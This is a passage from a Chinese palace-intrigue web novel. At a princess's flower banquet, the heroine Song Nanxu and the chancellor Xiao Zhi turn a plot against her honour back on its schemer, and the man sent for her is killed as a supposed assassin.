这些养尊处优的贵妇贵女们,一个个目光迥异地看着宋南絮。 宋南絮丝毫没有避讳她们或试探,或逡巡的眼神,任由着她们像是看怪物,看异类似的打量着自己。 “端淑大长公主到。” 这时,大长公主府内女官唤了一声。 在场众人的目光这才从宋南絮的身上挪开。 宋南絮朝着府内看去,远远只见大长公主一袭华丽的锦袍,绣着百鸟朝凤的图样,那只栩栩如生的凤凰,以金线串宝石明珠所制,在阳光下耀眼夺目,仿若下一瞬便要展翅高飞一般。 她美得不可方物,且周身自带一股不可一世的威严,这边是当今圣上的亲姑母,昔日先帝亲封的监国大长公主——端淑。 众人见她齐齐跪拜:“参见大长公主殿下。” 端淑并未开口勉礼,而是径自走到了崔氏面前,亲自将她扶了起来,这才开了口:“诸位不必多礼。” “本宫举办的一年一度赏花宴,还要感谢诸位能够赏脸,切莫如此客气。” 端淑说话时,目光却始终在宋涵烟的身上逡巡。 瞧她的模样—— 端淑微微蹙眉,虽是一身华服,满头珠翠,却怎么看都有些小家子气,并不像是宇文胤珣所说是个不同寻常千金闺秀的女子。 “宋夫人,这位便是令爱吧?” 崔氏颔首微笑,不等她开口说话,宋涵烟上前一步,朝着端淑屈膝施礼道:“臣女宋涵烟见过大长公主殿下。” 端淑莞尔:“倒是个伶俐的姑娘,本宫瞧着欢喜。” 她朝身侧女官伸出了手。 女官立即打开了手中捧着得锦匣,端淑从其中拿出了一支金镶宝石碧玺点翠花簪:“本宫膝下只有一子,却最是喜爱漂亮的姑娘,你又是第一次到公主府来赴宴,这支花簪乃是先太后命宫中巧匠为本宫打造,本宫瞧着极是配你——” 端淑说着,竟亲手将那支花簪佩戴在了宋涵烟的髻上:“这便当做本宫的见面礼。” 宋涵烟一时间受宠若惊。 她强压住心中的激动,面上尽可能的表现出了一个千金贵女荣宠不惊的模样:“臣女多谢大长公主抬爱。” 说话间,宋涵烟侧目瞥了宋南絮一眼。 她眼神中满是挑衅,又似炫耀,这一瞬,仿佛她便是这金陵城中最受重视的千金。 然而—— 宋南絮依旧面色淡然,仿若一池无波无澜的幽泉,只静静地看着一切的发生。 第81章 端淑赐酒,姑娘赎罪 走进大长公主府的花园,仿佛置身于一副精美的古画之中,园中,繁花似锦,芬芳四溢,宛如一片绚烂的鲜花的海洋。 站在奇花异草之中,只怕谁人都会以为这是春暖花开之景,无人去想此时已是深秋时节。 端淑大长公主府的奢靡程度,甚至比皇宫有过之而无不及。 任由谁人也无法想到,这般繁花美景仅仅只用了一天布置而成。可见,需要多少人力还物力。 宋南絮对于这满园如春美景并不感兴趣,只是跟在人群中随意逛了逛。 内宅女眷由端淑大长公主招待,外院的男宾则由许国公宇文渊待客。 京中往来的女眷,一来是为了在大长公主赏花宴上露了脸,二来嘛—— “母亲!” 人群外,倏然传来了一声男子极是好听的声音,似二月的春分拂面般温柔。 女眷们齐齐寻声音的方向看去,只见远远一名身着玄色华服的翩翩佳公子,面如冠玉,眉似山黛,俊美的模样让人错不开眼。 宇文胤珣不亏为当今金陵城第一美男,只这幅皮囊,即便他是一个草包,依旧能够俘获万千贵女的放心。 然而,他却并非如此,端淑大长公与许国公的独子,不仅有一等一的家室,而且才华斐然,今年春闱下场,便一举夺魁。 这样的男子放眼天下只怕也再难找出第二个了。 端淑大长公主极是疼爱这个儿子,看见宇文胤珣脸上堆满了慈爱的笑:“珣儿,你过来。” 宇文胤珣似是习惯了这些女子们的目光,快步走到了端淑大长公主的身边:“父亲,前院男客儿子与父亲都已安顿妥当了。” 端淑大长公主莞尔,一双眼睛在前来赴宴的女眷们身上快速略过,只觉得这些庸脂俗粉没有一个能配得上自己儿子的。 她隐藏起了眼底的不屑,拉着宇文胤珣的手为他介绍道:“珣儿,你还未曾见过安远侯夫人吧。” 宇文胤珣极是有礼,双手交迭,恭敬见了大礼:“晚辈宇文胤珣见过宋伯母。” 这一声‘宋伯母’自是太高了崔氏的身价。 虽是金陵城中赫赫有名的显贵出身,但在端淑大长公主面前又算得了什么。 崔氏喜笑颜开:“世侄太过客气了,快快请起。” 说罢,她侧目看向身旁的两个女儿:“烟儿,絮儿,快来见过宇文公子。” 宇文胤珣回礼道:“二位宋家妹妹妆安。” 他装作第一次见到宋南絮的样子,表现的十分妥帖且自然。 宋南絮亦是如此。 她和宋涵烟齐齐朝宇文胤珣施了一礼,异口同声地道:“请小公爷安。” 随后,端淑大长公主热络地招待着众人进了花厅,以皇家宴席的规制,摆设,从始至终,她一直都拉着崔氏的手,像是至交好友一般。 她坐在了主位之上,便诚邀崔氏坐在了左手上位。 端淑侧目朝着女官点了点头。 须臾间,便有穿戴一模一样的女使开始行走布置点心。 大长公主府的厨子都是宫中的御厨,所制作的点心样式一个个精致无比,绝非是在外能够品尝得到的。 端淑端起了茶盏:“诸位夫人,今日宴席,若有招待不周的还望海涵。” “大长公主客气了。” “你们瞧——” “快看,快看——” 承恩候府的庄小姐倏地站了起来朝花厅外指去。 众人顺着她的声音齐齐看去,只见围湖所建的花厅外一叶扁舟上,有乐师奏乐,舞姬起舞。 达官显贵人家豢养乐师、舞姬也是常有,但,大长公主府中的舞姬却绝非寻常,四个小舟以花鼓相链,舞姬姿态轻盈,竟在只有巴掌大的花鼓上翩翩起舞。 四名舞姬舞技高超,配合的更是相得益彰。 待一舞毕,四人手中端着一盆盆牡丹行至花厅之中,一来一往,摆放招待宾客的桌案之上。 “大长公主府的赏花宴还真是别具一格。” 端淑微微一笑:“承恩候夫人谬赞了。” 她环视在场的小姐们,唇畔含笑:“本宫府中花园除牡丹外,还有不少稀释名花,诸位小姐可自行赏玩。” 说着,她眸色微敛,看着下手上位的崔氏,笑道:“咱们说起话来,左右不过是家常琐事,姑娘们年纪轻,自是不喜这些,也别拘着她们。” “大长公主说的是。” 端淑挥了挥手:“去吧,瞧见有喜欢的花儿朵儿自己摘些,就当这里是自己家。” 承恩候府的庄月瑶正是顽皮的年纪,她头一个站了起来,朝端淑大长公主屈膝一礼:“殿下,臣女可以去小舟上瞧瞧么?” 端淑莞尔:“当然可以。” 有庄月瑶带头,不少小姐们一个个也跟着起身,或去瞧那花鼓相链的小舟,或者结伴儿去花园中赏花。 宋涵烟却是迟迟未动,一双眼睛像是长在了宇文胤珣的身上一般。 端淑只瞥了她一眼,便知宋涵烟怀揣着什么心思,她眸中略带不悦,面上却不显分毫:“宋二姑娘怎么不随着小姊妹们一同前去?” 宋涵烟起身,欠身一福:“回殿下的话,臣女今日瞧见殿下,觉得殿下仪态端方,臣女拜服,便想着能多瞧瞧,学习一二,必然受益匪浅。” 这马屁拍的—— 宋南絮抿唇,险些笑出了声来。 端淑微微一笑,却并没有说什么,而是将目光投向了宋南絮:“那么宋大姑娘呢?” 宋南絮起身,施了一礼,朱唇微启,声音淡然道:“臣女离京数年,恐缺失分寸,以免失礼人前。” 端淑微笑,颔首道:“宋姑娘能说出这番话来,必定是个知书达理的。” 她又瞥了一眼宋涵烟,莞尔道:“既是如此,咱们说话可别闷坏了你们才好。” “本宫前些日子在宫中得了些适合姑娘们用的佳酿,惜花,替本宫将玫瑰露给两位宋姑娘取来。” “是。” 女官得令,便带人下去准备酒水。 不多时,这位名为惜花的女官,便带着几名女使鱼贯而入,将一壶壶佳酿摆上了每一桌。 到了宋南絮这里,忽然,女使手腕一都,一整壶的玫瑰露尽数撒在了她的身上。 不等宋南絮反应,女使倏然跪地,连连叩首:“请姑娘赎罪!” 第82章 内有乾坤,善于心计 宋南絮这边的动静,引起了在场众人的注意。 端淑大长公主眉心微蹙,眸子当中含了一缕不悦,她侧目看了一眼身边的女官惜花。 惜花会意,立即走上前去:“你这丫头怎么毛手毛脚的——” 她瞧见宋南絮裙摆上一大片浅红色玫瑰露的污迹,连忙俯身为宋南絮擦拭:“这——” 惜花抬头望向宋南絮,随即,又将目光投向了端淑大长公主。 端淑始终保持面上的微笑:“惜花,还不快带宋大姑娘下去更换衣裙。” “是。” 从始至终,宋南絮一语未发,只瞧着端淑大长公主自导自演的这场戏。 她随着惜花离开了花厅,经过繁花似锦的回廊,径直来到了大长公主府为宾客小憩的厢房。 惜花朝宋南絮施了一礼:“姑娘,房中已备下了衣裳,请姑娘更衣。” 宋南絮看了看四周,随即,她抬手推开了房门,举步跨过了门槛走近了厢房中。 厢房内摆设极为雅致,层层叠叠的垂纱幔帐后,影影幢幢有人影晃动。 宋南絮微微蹙眉。 这身影瞧着像是—— 不等宋南絮开口,纱幔后的男子倏然开了口:“看来,咱们这位大长公主殿下,还是很在乎你这位盟友的嘛!” “萧止!!” 宋南絮话音一落,一只白皙修长的手撩开了垂下的纱幔,露出了一张俊美不凡的容颜。 在宋南絮看来,面前的萧止才担得起金陵城第一美男子的称号,只是,和他出色的容貌比起来,‘奸相佞臣’给人的印象来得更加深刻与惊骇。 萧止露出了他那副标志性玩世不恭般的笑容:“怎么?没想到会是我?” 宋南絮抬了抬眼,轻哂一声道:“丞相大人还真是手眼通天呐,竟连大长公主的内院都能随意进出。” 萧止摸了摸鼻尖。 端淑大长公主的赏花宴必然是每年都会诚邀萧止,但他却从未踏进过大长公主府半步。 原因无他,只是这位出身高贵的大长公主殿下的目的性着实太明目张胆了些。 但,今儿—— 萧止在得知宋南絮将会陪同崔氏一起前来赴宴时,他竟鬼使神差嵌入了大长公主府。 他自是听出了宋南絮口中的戏笑,立即转移了话题,道:“你可知端淑为何要引你来此处?” 那女使撒酒的伎俩着实低劣了些。 想必,就连崔氏和宋涵烟也能够瞧出其中端倪来。 偏偏,宋南絮还真就按照端淑大长公主的意思行了事。 她微眯起了眸子:“自然是有话要和我说。” 有话要说,又何需这般明目张胆。 萧止勾起了嘴角:“当然不会这么简单。” 他朝着身后瞥了一眼,微微挑了一下眉,示意宋南絮过来看。 宋南絮走了过去,看见纱幔后竟躺着一个昏死之人,她倏地蹙眉:“他是——” 萧止冷笑宗:“宗正寺卿褚庆司之子——褚津!” 宋南絮眉心皱得越发深邃:“宗正寺?!” 萧止微微颔首,薄唇微启,声音低沉而冷肃:“这位褚大人可是大长公主一手扶持起来的心腹。” 宋南絮的眸色倏地冷了下来。 一个外男能够随意进入当朝大长公主府内宅供女眷休息的厢房,再联想到从宴席到被女官引到这里的经过。 她还能有什么不明白的呢。 只是,宋南絮一时间想不通,自己将端淑大长公主想要的那份名册送予了她,她为什么还要用这么法子来陷害自己的清白呢? 不等宋南絮想出其中关键。 萧止忽然抬起手中折扇,轻轻在她额间敲了一下:“这位大长公主殿下将她的宝贝儿子视若珍宝,放眼看去,只怕她觉得今天在场的所有京中贵女无一人能与之相配,更不要说,一个被家族送进庵堂的侯府小姐了。” 宋南絮闻言,忽然像是明白了什么似的。 只是,她却将眉头皱得更加深邃,全然没有注意到,刚刚萧止敲她额头的那一下,举止有多么的亲密:“你是说,端淑大长公主怀疑我想要以此威胁嫁给——” “不是怀疑!” 萧止继续为宋南絮解惑:“端淑此人长袖善舞,又极有心计和手腕,自诩慧眼识人,你的接近在她看来,都只是为了宇文胤珣而已。” 宋南絮眉心舒展,唇角微微上扬,勾起了一抹讥讽的笑。 在她看来,宇文胤珣无非就是出身比别人好些。 连她都能够想到,查到的事,竟为难了端淑大长公主这么长久的时间,不知动用了多少人力,财力,甚至想要劫持夏侯博来与太后博弈,最终却都未能成事,可见,宇文胤珣的能力也不过尔尔。 宋南絮冷冷地瞥了一眼地上昏死的褚津:“我依稀记得这位褚大人只有这么一个儿子,你说,倘若褚公子在大长公主府中出点什么意外的话,褚大人会作何感想呢?” “与端淑决裂,甚至——” 只是刹那,萧止便明白了宋南絮的意图。 他勾起了嘴角,后发制人,挑拨离间,届时,宋南絮便可以坐收渔翁之利。 萧止踢了一脚昏死的褚津:“端淑既想将你拉拢至她的阵营里,又想用极小的代价,看来不付出点代价,恐怕是不能够了!!” 宋南絮瞧着萧止身上的玄色劲装,深琥珀色的瞳仁转了转,唇角微微上扬勾起了一抹冷凝的弧度:“我觉着大长公主府的赏花宴也不过如此,缺了点助兴的玩意儿。” 萧止笑笑道:“那还不简单。” 二人目光一触,似心有灵犀般明白了对方的心思。 随即,萧止拎起了如同死狗一般的褚津纵身一跃,跳出了厢房的窗户。 宋南絮换好了端淑大长公主早命人准备好的衣裳,重新梳了髻,走到了房门口,打开了房门。 一直等候在外的惜花却始终没有听见厢房内传出半点动静。 她还在门外奇怪,按照大长公主的吩咐,这会子褚津应该已经得手了才对,怎么会—— 忽然瞧见了房门打开,待瞧见安然无恙走出来的宋南絮时间,惜花倏然一怔:“宋大姑娘,你——” 惜花忽然意识到了什么,立马收敛了脸上的神情,如同引着宋南絮来时一般,脸上没有一丝一毫的表情:“姑娘换好衣裳了!” 说话间,她不同声色地往厢房里瞧,却并没有看出任何端倪。 宋南絮莞尔:“有劳大人在外等候,我已换好了衣裙,现在可以回华厅了。” 她顺着惜花的目光往厢房内瞧了瞧,故作不知的样子:“大人这是在看什么?” 第83章 珠玉在前,莫要胡闹 惜花眸子当中含了一缕猜忌,却又快速地掩去了眸底的神色,脸上挂着疏离且礼貌的微笑:“本官在想可有怠慢了姑娘的地方。” 宋南絮勾了勾唇,并没有丝毫的掩饰,用玩笑的口吻说道:“我倒是觉得奇怪,像大长公主府这种天家贵胄之所,怎么连一个伺候人更衣的女使都没有。” 她微一挑眉,眼底讥嘲之意更浓:“大人可要同大长公主殿下说说才是。” 惜花蹙了蹙眉,脸上的表情有些尴尬地说:“姑娘说的是,下官一定会回禀了殿下,好好责罚这些伺候步骤的婢子。” 宋南絮举步,在经过惜花身边时,轻轻地拍了拍她的肩,笑盈盈地说道:“如此甚好!” 惜花唇角微微抽动,下意识地眯起了眼。 这位安远侯府的大小姐看似清淡似水,不染尘埃,但心思却十分缜密且深不可测! 宋南絮换了一身衣裳重新出现在花厅里,端淑大长公主蓦地瞪大了眼睛,她立即将目光投向了女官惜花,用眼神询问为什么没有成事!? 惜花快步走到了端淑大长公主身边,俯身在她的耳边说了什么。 旋即,端淑大长公主抬眸,目光变得凌厉三分落在了宋南絮的身上。 宋南絮落座后,端起了盛满玫瑰露的酒盏,隔空朝她敬了一杯酒。 端淑用力地眯起了眼睛。 看来,自己倒是小看了这位侯府的嫡女了! 只是须臾,她敛却眼中寒意,面带微笑,端起了酒盏,对宋南絮微一颔首,然后,将杯中美酒一饮而尽。 借着宽大衣袖的掩盖,她的眼睛泛起了一抹杀意。 端淑此人不仅心计过人,而且,杀伐果断,超出了她掌控之人,对于她来说都是潜在的威胁。 她不允许有任何人能够威胁到她! 歌舞毕。 宋涵烟倏然起身,身姿婀娜地上前,朝着端淑恭身一礼:“臣女虽是第一次参加大长公主府的赏花宴,但听闻每年都会有才情惊艳的小姐们为大长公主献艺,诚邀殿下点评,臣女不才想率先为大长公主献上一曲,还望殿下指点一二。” 端淑莞尔,和煦的目光如春风般:“本宫府中的赏花宴的确有这一环节,既然宋二姑娘开了这个口,那今年便由你开始吧。” 宋涵烟一脸自傲:“臣女多谢殿下抬爱。” 端淑抬了抬手,示意宋涵烟可以开始表演。 宋涵烟早就已经做好了准备,侧目看了一眼贴身女使。 随即,采莲和彩萍一人捧着琴,一人架起了案,宋涵烟坐在繁花之中,一身华服加身,倒是颇具美态。 一曲奏,啥时间令在场之人无不侧耳倾听。 即便如端淑这般自幼承教于天下第一琴师,不免都为宋涵烟瞩目。 不得不说,在琴技上宋涵烟堪比国手。 她十指纤细莹白似葱,拨动琴弦时多了一丝柔弱的美态。 刚刚有大长公主府的乐人珠玉在前,不少千金贵女都望而却步,宋涵烟却反其道而行之,率先演奏一曲,更是令在场众人无一人再敢演奏琴技。 一曲结束,端淑带头鼓掌:“妙哉,妙哉,早就有所耳闻,安远侯府的二小姐琴技卓然,今日一曲,乃是本宫近年来听过最美妙的乐曲。” “来人,赏!” 须臾,便由女使端着托盘躬身上前,将描金边的红木托盘呈到了宋涵烟的面前。 托盘之中,一枚通体碧绿,水头极润的镯子端放在锦盒之中。 端淑道:“这镯子乃是昔日本宫出嫁时,先太后亲赐之物,本宫瞧着你十指葱葱,手腕纤细如玉,正配着镯子。” 宋涵烟面露喜色,立马跪下谢恩:“臣女多谢殿下赏赐。” “勉礼。”端淑抬了抬手:“快快请起。” 她的目光环视在场众人,有宋涵烟珠玉在前,满京城的千金小姐,一个两个纷纷低下了头。 端淑微微蹙眉,心中不禁冷笑:这些庸脂俗粉,平日里时常自诩京中才女,现下来看,不过都是些无能草包罢了。 这些官宦之间的千金小姐们,削尖了脑袋往她府中跑所求什么,难道她会看不出来么。 只不过,这些人却无一能够入得了端淑的眼,成为她的儿媳之选。 “场中没有其他姑娘小姐愿意献艺了么?” 宋涵烟眼角余光瞥了一眼宋南絮,嘴角划过了一抹狡黠。 宋南絮虽为安远侯府嫡女,当年在京城之中更是风头无量,但在庵堂五年的光景,即便昔日所学之技艺再如何厉害,如今只怕是也都松懈了。 而自己一手琴艺无人能及,倘若此时—— 但,这话却不能自己说! 毕竟,崔氏还在场,倘若宋南絮丢了人,便等同于崔氏丢人,要是自己开了这个口,势必会引起崔氏的反感。 思及此,宋涵烟抬起了眸子,朝着身边的采莲使了个眼色。 采莲心领神会,在无人察觉时,悄悄地挪到了宋南絮的身后,在她刚举起酒盏时,采莲忽然推了她一下。 “啪嗒”一声,宋南絮手中酒盏掉落在桌案之上。 一瞬间将在场所有人的目光都吸引到了她的身上。 端淑本就有心想要试探一二,本就想要借此机会瞧瞧宋南絮有几斤几两,没想到,她自己倒是先送上门来:“本宫素来听闻安远侯夫人才艺斐然,想必贵府的二位小姐必定也是才情过人,既然二姑娘已经先展示了琴艺,不知道大姑娘要——” 她的话并未说话,双眸一瞬不瞬地看着宋南絮,似是要等着她的回答一般。 崔氏拧起了眉头。 宋南絮自幼长在老太太的身边,琴棋书画,诗词歌赋,也都是出自老太太之手,但,过去五年的时间,她一直在庵堂之中,想必技艺也都生疏了,倘若在这种场合下丢了颜面—— “殿下,臣妇长女顽劣——” “谨遵殿下之命,臣女愿为大家弹奏一曲。” 崔氏拒绝的话还没说完,身侧的宋南絮忽然站了起来。 她心头倏地一沉,冷着脸,皱着眉,目光深深地瞪了宋南絮一眼,压低了声音道:“絮儿,你要胡闹也要分辨场合,如若在大长公主殿下面前失了分寸——” 宋南絮懒得听她说话,径直地走到了还没收走的琴旁,撩起了裙裳,俯身坐下了下来。 崔氏脸色变得十分难看:“絮儿,莫要胡闹,快回来!” 第84章 青云剑,闹刺客 宋南絮恍若慰问崔氏的声音,她干枯的手指落在琴弦上,颀长的指甲波动琴弦,“铿”的一声,乐声铿锵有力,好似长矛撞击铁盾发出了巨大声响。 这声音起初听来有些刺耳,可随着宋南絮继续演奏,乐声时而激昂,时而壮烈,时而肃杀—— 端淑大长公主眸中微有动容:“她弹奏的竟然是《广陵王入阵曲》!” 她用力地眯起了双眸,冷肃的目光一瞬不瞬地盯着演奏中的宋南絮。 这丫头倒是聪明的很呐! 自知在琴技造诣上比不过宋涵烟,竟然另辟蹊径演奏了《广陵王入阵曲》,此曲乃是开国皇帝所创,昔日太祖开国,数万将士随他出生入死,肝脑涂地,一腔热血方才铸就了如今安定的天下大局。 乐曲虽粗糙,但寓意却极强。 再加上,词曲乃是开国太祖所创,即便宋南絮在演奏时稍有瑕疵,端淑也不敢说半个不好的字眼。 一曲毕。 端淑倏然站起了身,除了掌声外,连道了三声好! 场中众人随着她一同站了起来,纷纷为宋南絮鼓掌。 端淑眼含热烈,声音哽咽:“昔年,太祖帝为了天下百姓揭竿起义,九经生死,方才打下这壮丽河山,才有了今日的海晏河清,宋大姑娘今日一曲《广陵王入阵曲》,让本宫想起太祖平定天下的艰辛,该赏……不!是应该重赏!” 她侧目看了一眼身旁的惜花:“去将本宫的青云剑拿来!” 端淑大长公主所说的青云剑,那是先皇薨世前,封她为监国大长公主时特意命工匠打造,虽然,现如今她被卸掉了监国的称号,但这柄青云剑的意义却十分重大。 待惜花将青云剑取来,端淑双手接过,径直走到了宋南絮的面前:“本宫得意,你祖母的父亲便是本宫父皇亲封的镇北大将军,严氏一族满门忠烈,儿郎们为国尽忠,这柄青云剑,既是本宫赏赐予你,同时也是本宫对镇北大将军的敬重之意。” 宋南絮躬身,双手接过了端淑手中的青云剑:“谢殿下。” 宋涵烟始终看着,她极擅长音律,自然能够听出来刚刚宋南絮演奏的曲子有几处瑕疵,但,她懂得取巧,演奏了一曲端淑大长公主无法挑剔的曲子。 她水袖之中的双手紧攥成拳,修长的指甲深深地嵌入掌心之中,硬生生地扼出了一道道的印子来。 宋南絮! 宋涵烟险些咬碎了一口银牙。 单轮音律,宋南絮绝不是自己的对手,只是—— 方才自己珠玉在前的演奏,此时此刻也变成了抛砖引玉。 端淑大长公主赏赐自己的不过是一个镯子,可赏赐给宋南絮的确实青云剑! 两相比较,高下立见! 就算刚刚她的演奏如同天籁之音,此时此刻所有人也只会记得宋南絮! 深吸了一口气,宋涵烟极力的压制着心里的这股怨毒。 宋南絮侧目,眼角余光瞥到了宋涵烟。 她微微勾唇,唇畔荡漾过了一抹冷凝的弧度。 虽说是第一次参加端淑大长公主的赏花宴,但以宋南絮对她的了解,她必然是要在人前出尽风头,而现在,她却成了自己的垫脚石,这股子火气她是不会善罢甘休的。 但现在,宋南絮却无心于宋涵烟。 她可是安排了一场好戏,等着这场宴会的主人自食恶果呢! “啊!” 正在瞧着四舟相链的庄月瑶忽然尖叫,一瞬间,吸引了席面上所有人的目光。 只见半空之中一道黑影闪过,紧接着,一名黑衣人从天而降,正落身于庄月瑶身前一丈的距离。 黑衣人身形晃了晃,抬手扶了扶额。 他模糊的视线逐渐变得清晰,骤然发现自己的手中拿着一把锋利的匕首! 他有一瞬间的恍惚。 可还没等他反应过来,忽然听见了花厅之中有人高喊一声:“有刺客!保护大长公主!!” 只是瞬间,大长公主府中暗卫齐齐从四面八方现身,一柄柄闪着寒芒的长剑,齐齐地朝着黑衣人指了过去。 黑衣人顿时一慌,两忙抬手欲要解释。 下一瞬,他的身后突然飞射而来一块小石子,精准地打在了他的手肘上。 随着小石子的力度,黑衣人的胳膊突然往前探出。 从大长公主府中暗卫的角度来看,黑衣人的这个动作就像是率先发起了进攻似的。 这些暗卫被自小培养,他们的目标只有一个保护端淑大长公主,在这种情况之下,第一时间的反应就是击杀黑衣刺客! “噗!” 蓦然间,一柄长剑贯穿了黑衣人的胸口。 黑衣人猛地瞪大了双眼,从始至终,他都没明白到底发生了什么事情。 他只受命于端淑大长公主,今日前往大长公主府中的厢房,按照她的吩咐毁一名女子的清白,到时候,由她出面为其赐婚一桩绝佳的婚事。 可是在他刚刚进入厢房时,却忽然被人从身后打晕。 再次醒过来的时候,自己已经被换上了一身黑衣,手持匕首,出现在了大长公主的赏花宴上,成了一名刺杀大长公主的刺客!! 此人不是别人,正是刚刚在厢房之中被萧止打晕的宗正寺卿褚庆司之子——褚津! 褚津缓缓地低下了头,不可置信地看着自己的胸口。 随着暗卫将长剑拔出,鲜血如柱般喷射而出,只是刹那,便将他身前地面染红一片。 褚津瞪大了眼睛,满眼解释不可置信:“为……为什么……” “当啷”一声。 褚津手上没了力气,匕首掉在了地上,发出了清脆了一声响。 致死,他都想不明白,自己真正的死因到底是为什么!! 端淑穿过人群,行至花舟前,她脸色阴沉至极,仿佛笼罩了一层厚重的阴云,似乎下一瞬便可惊起一场狂风骤雨。 放眼金陵城中,敢在她的赏花宴中行刺的,恐怕只有—— 端淑声音冷肃:“掀开他的面巾,本宫倒是要看看到底是何人有这么大的胆子,竟然敢行刺本宫!” 随着端淑一声令下,暗卫上前,扯去黑衣人脸上的面巾。 当端淑看见面前之人时,不由得瞪大了双眼,瞳眸之中满是不可置信! 怎么会?! “啊!” 距离最近的庄月瑶又是一声惊呼,她一眼认出了面前的黑衣刺客的身份,惊呼道:“这名刺客怎么会是褚津呢!?” 第85章 来时奢华,回时寒酸 端淑当然认识褚津。 且此人就是她安排到女宾休息的厢房,准备—— 她疑惑的是褚津为什么会成为闯入花厅的刺客?! 端淑猛然转头,凌厉的目光宛如锋利的刀子,一错不错地凝视着宋南絮。 宋南絮端坐在那里,手里端着酒盏,一副事不关己的闲散模样。 端淑用力地眯起了眸子。 她越瞧越觉得宋南絮比她想得更加深不可测。 “惜花!” 半晌,端淑眸色微敛,声音低沉入泥:“怎么回事?!” 惜花屈膝,脸色阴沉至极,她沙哑着嗓音道:“奴婢也不知褚公子为何会——” 端淑凝眸,宛如黑曜石般的瞳眸之中,满含戾气,她深吸了一口气,冷然道:“处理好。” 惜花不敢去看端淑的眼色,生怕她一个不悦,自己项上人头不保:“是。” 端淑深吸了一口气,用极短的时间调整好了自己脸上的表情,她转过头,恢复了方才高贵的模样:“本宫府中出了刺客,让诸位夫人、小姐受惊了。” “来人,烹些压惊茶来。” 端淑说着,似是无意地瞥了一眼地上早已经死透了的褚津。 她的一句‘刺客’,已然给褚津的身份做了决断,今日不论谁再提起,他也只能够是刺客! 庄月瑶显然没明白端淑话中意,眨着一双澄澈无辜的眼睛,缩在庄夫人怀中仍瑟瑟发抖,颤抖着伸出了手,指了指地上的尸体,小声在母亲的耳畔说:“母亲,他明明就是褚津,怎么会是刺客呢?!” 她声音虽小,但端淑还是听得真切。 端淑目光疏离而冷漠地瞥了庄月瑶一眼。 庄夫人连忙捂住了女儿的嘴巴:“不许胡说!那哪里是什么褚津,分明就是图谋不轨欲行刺大长公主殿下的刺客!” 端淑闻言,嘴角微微上扬勾起了一抹满意的笑。 “母亲——” “住口!!” 庄夫人将庄月瑶拉到了自个儿的身后,朝着端淑屈膝施礼:“殿下,小女刚刚受到了惊吓,导致胡言乱语,臣妾想要带她回府寻大夫瞧瞧。” 端淑微笑,轻轻地挥了挥手:“庄夫人请自便。” “多谢殿下。” 端淑回到了主位之上,原本繁花似锦,声乐不断的赏花宴,此时此刻却是鸦雀无声,先前还是热闹非常的大长公主府,眼下如同一座死城一般。 端淑缓缓地阖上了眼眸,尽量平息了心头的怒火。 宇文胤珣听闻花厅中所发生的事后,急急地赶了过来,经过抄抄手回廊时,刚好与惜花擦肩而过,他一眼就认出了暗卫抬着的褚津,一瞬,变了脸色。 “母亲!” 宇文胤珣急步走到了端淑身边:“孩儿听闻花厅有刺客,特意赶来,母亲可有受伤?” 端淑脸上带着端庄芳仪的笑:“本宫福大命大,自然不会被这些人所伤,珣儿,你父亲那边——” 她说话时,微挑了一下眉梢,对宇文胤珣使了个眼色。 宇文胤珣心领神会:“请母亲放心,前厅无人知晓此事。” 端淑微微颔首:“那就好。” 随即,她抬眸环顾在场众人,红唇微启道:“本宫有些乏了,诸位夫人、小姐请自便吧。” 说罢,端淑站了起来,扶着女官的手离开了花厅。 本是一场声势浩大的宴席,可是,到头来却是潦草收场,端淑的一句‘自便’等同于下了住逐客令。 在场皆是官眷,谁又瞧不出来这其中的门道。 纷纷起身离开了大长公主府。 宋南絮随着崔氏站了起来,跟在了一众夫人、小姐的身后朝着府外走。 在经过宇文胤珣身边时,她倏然驻足,目光淡然地看了他一眼:“小公爷,赠与大长公主殿下的名册,她可还喜欢?” 宇文胤珣紧抿着唇,四下环顾,在确定没有人注意时,才开口道:“此事还要多谢宋小姐。” 宋南絮淡淡道:“口头上的客套也就不必了吧。” 宇文胤珣明白了她的意思:“三千两黄金,明日便会以小姐的名义存进盛通钱庄。” 宋南絮勾起了嘴角:“那就有劳小公爷了。” 宋涵烟紧跟在崔氏的身后,眼角余光瞥见了宋南絮不在自己的身侧,她回头去瞧,竟见到宋南絮在与宇文胤珣说话,立马皱起了眉头,沉下了脸色。 宋南絮加快了脚步,跟上了崔氏的脚步。 宋涵烟立马朝她身边凑了凑,压低了声音质问道:“你与小公爷刚刚在说什么?!” 宋南絮侧目看了她一眼:“说起你呀。” “说我?”宋涵烟眨了眨眼:“说我什么?” 宋南絮笑了笑:“自然是问妹妹婚配与否了。” 宋涵烟闻言,面色不由一喜,稍有激动,下意识抓住了宋南絮的胳膊:“当真!?” 宋南絮唇畔笑意更浓:“自然是真的了,你若不信,亲自问问小公爷便是。” 要让她一个闺阁在室女询问男子婚嫁之事,就算是借她一百个胆子,宋涵烟也不敢去问,但瞧着宋南絮的样子又不似作假,难不成,小公爷对自己真的—— 宋涵烟的脸上是藏不住的春色,不由加快了步子,上前挽起了崔氏的胳膊:“母亲,我来扶着您。” 崔氏不解,刚刚在花厅听完宋南絮演奏的乐曲后,这丫头还是一脸愁云惨雾,怎么这么一会子的工夫,就像是变了一个人似的:“烟儿,何事这般高兴?” 宋涵烟摇了摇头:“没什么,大长公主府里出了刺客,咱们还是快点回府吧。” 崔氏点了点头:“是呀!可真够吓人的,谁能想到,金陵城中,天子脚下,堂堂的大长公主府竟然也会有刺客,看来,还是你们祖父有先见之明,往后这种宴席咱们还是少来得好。” 宋涵烟心不在焉,满脑子都是宋南絮刚才的话,压根没有听进去崔氏的话。 崔氏见她不语,轻轻地推了推她的手:“你这丫头今儿是怎么了?怎么如此奇怪!” 宋涵烟回过了神:“女儿……女儿是刚刚被刺客吓着了。” 崔氏又看了一眼宋南絮却并未说什么。 来时乘坐的是大长公主的车辗,回去时却无人相送,崔氏站在大长公主府的门口,一时间犯了难,总不好,让她带着两个女儿走回去吧?! “安远侯夫人请留步。” 这时,身后忽然传来了女官的声音。 惜花快步上前:“大长公主安排了马车送夫人、小姐回府。” 崔氏:“有劳殿下挂心了。” 说话时,她脸上带着笑,可在看见了马车后,笑容却僵在了脸上。 与来时声势浩大的阵仗相比,回去时的马车也着实是太过寒酸了,平顶的马车也就算了,就连车上的油漆都斑驳脱落了一大片。 这样的马车别说大长公主府了,就连他们侯府只怕是也找不出来。 第86章 既已布局,便无退路 崔氏面有不悦,可在大长公主的女官面前也不敢表露半个字,耷拉着扶着宋涵烟的手上了马车。 马车内,母女三人各怀心思一句话没说。 